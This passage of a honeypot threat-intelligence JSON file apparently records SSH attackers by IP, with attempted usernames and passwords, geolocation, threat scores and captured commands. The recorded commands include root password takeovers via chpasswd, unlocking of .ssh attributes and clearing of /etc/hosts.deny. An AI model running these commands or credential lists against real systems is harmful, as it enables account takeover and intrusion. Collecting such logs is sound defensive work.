      "first_seen": "2026-03-06T00:38:54.308Z",
      "last_seen": "2026-03-28T17:50:51.418Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "emma",
        "rodrigo",
        "ruben",
        "sunshine",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123456Tt",
        "123569",
        "123qweQWE@",
        "1qaz2wsx3",
        "900203",
        "CentOS123",
        "Haslo1234",
        "Linux2025",
        "Qaz~123654",
        "System0",
        "Xr123456",
        "aa112233!",
        "abcdef123",
        "american",
        "boozie",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nwIvwhQLmR0L4\\nwIvwhQLmR0L4\\n\"|passwd",
        "echo \"root:8FNUvw821XrX\"|chpasswd|bash",
        "echo -e \"12345678\\nwIvwhQLmR0L4\\nwIvwhQLmR0L4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:38:54.308000+00:00",
        "last_seen_30d": "2026-03-28T17:51:55.583000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 74
      }
    },
    "217.253.123.98": {
      "attack_count": 262,
      "first_seen": "2026-03-09T19:51:09.029Z",
      "last_seen": "2026-03-09T20:14:12.552Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "geo",
        "teamspeak",
        "wei",
        "alfred",
        "clawd",
        "dell",
        "llm",
        "mamad",
        "posiflex",
        "valheim",
        "vboxuser"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "Wei123",
        "alfred1234",
        "dell1234",
        "geopass",
        "posiflex123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nR8CIZtCIs2XO\\nR8CIZtCIs2XO\\n\"|passwd",
        "echo \"Wei123\\nTJsr4zJZyWH4\\nTJsr4zJZyWH4\\n\"|passwd",
        "echo \"geopass\\n6131aMLhmXYe\\n6131aMLhmXYe\\n\"|passwd",
        "echo -e \"123\\nR8CIZtCIs2XO\\nR8CIZtCIs2XO\"|passwd|bash",
        "echo -e \"Wei123\\nTJsr4zJZyWH4\\nTJsr4zJZyWH4\"|passwd|bash",
        "echo -e \"geopass\\n6131aMLhmXYe\\n6131aMLhmXYe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Essen",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:51:09.029000+00:00",
        "last_seen_30d": "2026-03-09T20:15:15.248000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 40
      }
    },
    "146.190.228.216": {
      "attack_count": 258,
      "first_seen": "2026-03-02T05:26:29.243Z",
      "last_seen": "2026-03-02T06:10:34.695Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "mysql"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "passw0rd",
        "password",
        "111111",
        "123123",
        "admin123",
        "letmein",
        "qwerty",
        "root",
        "Administrator",
        "Password1",
        "access",
        "adminadmin",
        "data",
        "database"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:26:04.371000+00:00",
        "last_seen_30d": "2026-03-02T06:11:38.435000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 109
      }
    },
    "193.176.29.200": {
      "attack_count": 257,
      "first_seen": "2026-03-24T05:48:02.083Z",
      "last_seen": "2026-03-24T06:05:25.567Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ftpuser",
        "george",
        "user02",
        "botuser",
        "java",
        "otrs",
        "saeed",
        "syncthing",
        "tian",
        "vagrant"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "George123!",
        "Otrs123",
        "ftpuser#2025",
        "javapass",
        "password",
        "syncthingpass",
        "vagrantpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nB3BlhDOAwPYy\\nB3BlhDOAwPYy\\n\"|passwd",
        "echo \"George123!\\nK4y6cpUMBg2V\\nK4y6cpUMBg2V\\n\"|passwd",
        "echo \"ftpuser#2025\\nucDuqb1oq4a6\\nucDuqb1oq4a6\\n\"|passwd",
        "echo -e \"123\\nB3BlhDOAwPYy\\nB3BlhDOAwPYy\"|passwd|bash",
        "echo -e \"George123!\\nK4y6cpUMBg2V\\nK4y6cpUMBg2V\"|passwd|bash",
        "echo -e \"ftpuser#2025\\nucDuqb1oq4a6\\nucDuqb1oq4a6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T05:48:02.083000+00:00",
        "last_seen_30d": "2026-03-24T06:06:30.045000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 38
      }
    },
    "194.190.153.226": {
      "attack_count": 242,
      "first_seen": "2026-03-03T11:50:19.341Z",
      "last_seen": "2026-03-16T08:54:18.757Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hafiz",
        "abdul",
        "carlo",
        "downloader",
        "elemental",
        "lee",
        "live",
        "milad",
        "rms"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "123@@@",
        "33",
        "Bingo@1993",
        "Lee123",
        "Live123!",
        "Passw0rd1",
        "QWEasd123!",
        "Rms123!",
        "Test_1234",
        "Tk123456@",
        "abdul123",
        "aditya123",
        "admin123#",
        "carlo",
        "downloader1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nZKusYJjWqqY1\\nZKusYJjWqqY1\\n\"|passwd",
        "echo \"root:5QRSTFFFoH4T\"|chpasswd|bash",
        "echo -e \"1234\\nZKusYJjWqqY1\\nZKusYJjWqqY1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:50:19.341000+00:00",
        "last_seen_30d": "2026-03-16T08:55:28.868000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 59
      }
    },
    "103.210.21.242": {
      "attack_count": 239,
      "first_seen": "2026-03-13T10:30:09.263Z",
      "last_seen": "2026-03-19T01:17:07.423Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "rico",
        "root",
        "sonarqube",
        "admin123",
        "allen",
        "bounce",
        "ctf",
        "ec2-user",
        "ems",
        "felix",
        "hassan",
        "maxim",
        "nagios",
        "prince",
        "recovery",
        "redhat",
        "reza",
        "rodrigo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123456",
        "12345",
        "12345678",
        "Allen123!",
        "Felix123",
        "Sftptest",
        "Za123456",
        "ctfpass",
        "ems",
        "hassanpassword",
        "maximpass",
        "nagios",
        "pass123",
        "q",
        "qwerty",
        "recovery123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:TEzc6a4B4kgf\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 316,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T10:30:09.263000+00:00",
        "last_seen_30d": "2026-03-19T01:18:08.198000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 239,
        "Suricata": 77
      }
    },
    "20.88.55.220": {
      "attack_count": 237,
      "first_seen": "2026-03-03T07:26:00.212Z",
      "last_seen": "2026-03-09T17:05:10.247Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bounce",
        "apexuser",
        "lyh",
        "roots",
        "viewer",
        "vintagestory",
        "yuhan",
        "zhangliang"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "A123123",
        "Apexuser123!",
        "Qwe@123456789",
        "Zr123456@",
        "a1985nyuta_1",
        "a1d2m3i4n5",
        "a@q3@qpO$jjO$jgO7pz@",
        "aa271694",
        "bounce",
        "cloud",
        "password",
        "qaz123...",
        "qwe123$%^",
        "woaini1314.",
        "zxc,./123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bounce\\nHyzMT8fqhS1f\\nHyzMT8fqhS1f\\n\"|passwd",
        "echo \"root:GjDxroOnUHq7\"|chpasswd|bash",
        "echo -e \"bounce\\nHyzMT8fqhS1f\\nHyzMT8fqhS1f\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:26:00.212000+00:00",
        "last_seen_30d": "2026-03-09T17:06:19.391000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 56
      }
    },
    "134.209.18.188": {
      "attack_count": 236,
      "first_seen": "2026-03-28T18:45:04.394Z",
      "last_seen": "2026-03-28T20:04:26.906Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123e",
        "12343412",
        "12345@Qwert",
        "1qaz2WSXcde3",
        "David2026",
        "Huawei12#$%",
        "Tl147258",
        "Win*0",
        "Wr123456.",
        "abc@2026",
        "asdfg",
        "bao123456",
        "cristal",
        "gc@123",
        "manuel",
        "p@ssw0rd88",
        "password888",
        "sas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FIJTYp8sWsKf\"|chpasswd|bash",
        "echo \"root:jaAnZvEGHmNF\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T18:45:04.394000+00:00",
        "last_seen_30d": "2026-03-28T20:05:28.963000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "122.166.49.42": {
      "attack_count": 231,
      "first_seen": "2026-03-26T23:25:08.018Z",
      "last_seen": "2026-03-27T01:23:39.372Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz2wsx3edc",
        "123456789aa",
        "123asd..",
        "1qaz!@#$2wsx",
        "1qaz@WSX#EDC",
        "258852",
        "369",
        "Admin1@3",
        "Sachin@123",
        "Server2024",
        "ab@123456",
        "asd123QWE",
        "instead",
        "louis1",
        "online",
        "qwer1234.",
        "ruijie@2025",
        "sefploiesti123q"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FZhW0Mtan9ab\"|chpasswd|bash",
        "echo \"root:aVlfNAj2gtu4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:25:08.018000+00:00",
        "last_seen_30d": "2026-03-27T01:24:41.332000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 65
      }
    },
    "43.167.197.189": {
      "attack_count": 213,
      "first_seen": "2026-03-21T06:10:30.946Z",
      "last_seen": "2026-03-21T06:40:28.475Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kapsch",
        "oracle",
        "bkp",
        "csserver",
        "hu",
        "joshua",
        "laurence",
        "ntpo",
        "portal",
        "postgres",
        "rtorrent",
        "sc",
        "sftp",
        "ultra",
        "userm"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "Hu123!",
        "Laurence",
        "P@ssw0rd",
        "Sc",
        "admin1234",
        "bkppassword",
        "csserverpass",
        "ntpo@123",
        "password",
        "rtorrent",
        "usermpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nZ8alnHVmalnE\\nZ8alnHVmalnE\\n\"|passwd",
        "echo \"P@ssw0rd\\nc0GRQjX7Vtjy\\nc0GRQjX7Vtjy\\n\"|passwd",
        "echo -e \"1234\\nZ8alnHVmalnE\\nZ8alnHVmalnE\"|passwd|bash",
        "echo -e \"P@ssw0rd\\nc0GRQjX7Vtjy\\nc0GRQjX7Vtjy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T06:10:30.946000+00:00",
        "last_seen_30d": "2026-03-21T06:41:38.241000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "167.99.107.159": {
      "attack_count": 188,
      "first_seen": "2026-03-11T05:42:11.316Z",
      "last_seen": "2026-03-11T07:02:58.292Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "validator",
        "solv",
        "binance",
        "bootstrap",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "jito",
        "node",
        "okx",
        "shred",
        "shreded",
        "slot",
        "sol",
        "telegram",
        "trader",
        "trading",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "123456",
        "bootstrap",
        "jito",
        "shred",
        "slot",
        "1234",
        "Solana",
        "binance",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "node",
        "okx",
        "phantom",
        "shreded",
        "shredr",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 276,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:34:12.342000+00:00",
        "last_seen_30d": "2026-03-11T07:04:01.025000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 88
      }
    },
    "103.91.246.73": {
      "attack_count": 186,
      "first_seen": "2026-03-05T06:44:21.362Z",
      "last_seen": "2026-03-05T07:09:54.961Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456123!@#",
        "123456zxc$",
        "2026QWE#",
        "24zsxdcfv",
        "@qaz2026",
        "Hu@wei#12345",
        "R0ot!!123",
        "Root!@#2024",
        "Us3r2024!",
        "qwerqwer$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
